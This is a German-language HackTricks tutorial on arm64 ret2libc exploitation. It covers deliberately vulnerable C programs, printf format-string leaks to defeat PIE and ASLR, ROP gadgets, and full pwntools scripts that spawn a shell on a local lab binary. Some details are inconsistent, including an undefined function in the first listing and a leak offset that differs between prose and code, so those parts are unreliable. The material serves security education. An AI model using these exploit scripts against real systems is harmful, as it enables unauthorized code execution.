Ret2lib + Printf leak - arm64

Unterstützen Sie HackTricks

Ret2lib - NX-Umgehung mit ROP (kein ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompilieren ohne Canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Offset finden

x30 Offset

Durch das Erstellen eines Musters mit pattern create 200, dessen Verwendung und das Überprüfen des Offsets mit pattern search $x30 können wir sehen, dass der Offset 108 (0x6c) beträgt.

Wenn wir uns die disassemblierte Hauptfunktion ansehen, können wir sehen, dass wir zu der Anweisung springen möchten, die direkt zu printf springt, dessen Offset von dem Ort, an dem die Binärdatei geladen ist, 0x860 beträgt:

Finde system und /bin/sh-String

Da ASLR deaktiviert ist, werden die Adressen immer gleich sein:

Finde Gadgets

Wir müssen in x0 die Adresse zum String /bin/sh haben und system aufrufen.

Mit rooper wurde ein interessanter Gadget gefunden:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Dieses Gadget lädt x0 von $sp + 0x18 und lädt dann die Adressen x29 und x30 von sp und springt zu x30. Mit diesem Gadget können wir das erste Argument kontrollieren und dann zu system springen.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE-Umgehung mit printf-Leaks vom Stack

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompilieren ohne Canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE und ASLR, aber kein Canary

  • Runde 1:

  • Leak von PIE vom Stack

  • Missbrauch von bof, um zu main zurückzukehren

  • Runde 2:

  • Leak von libc vom Stack

  • ROP: ret2system

Printf-Leaks

Wenn man einen Breakpoint vor dem Aufruf von printf setzt, ist es möglich zu sehen, dass es Adressen gibt, um zum Binary im Stack zurückzukehren, sowie auch libc-Adressen:

Durch Ausprobieren verschiedener Offsets kann %21$p eine Binary-Adresse (PIE-Bypass) und %25$p eine libc-Adresse leaken:

Wenn man die geleakte libc-Adresse von der Basisadresse von libc subtrahiert, kann man sehen, dass der Offset der geleakten Adresse von der Basis 0x49c40 ist.

x30-Offset

Siehe das vorherige Beispiel, da der bof derselbe ist.

Gadgets finden

Wie im vorherigen Beispiel müssen wir in x0 die Adresse zum String /bin/sh haben und system aufrufen.

Mit rooper wurde ein weiteres interessantes Gadget gefunden:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Dieses Gadget lädt x0 von $sp + 0x78 und lädt dann die Adressen x29 und x30 von sp und springt zu x30. Mit diesem Gadget können wir das erste Argument kontrollieren und dann zu system springen.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Unterstütze HackTricks

Last updated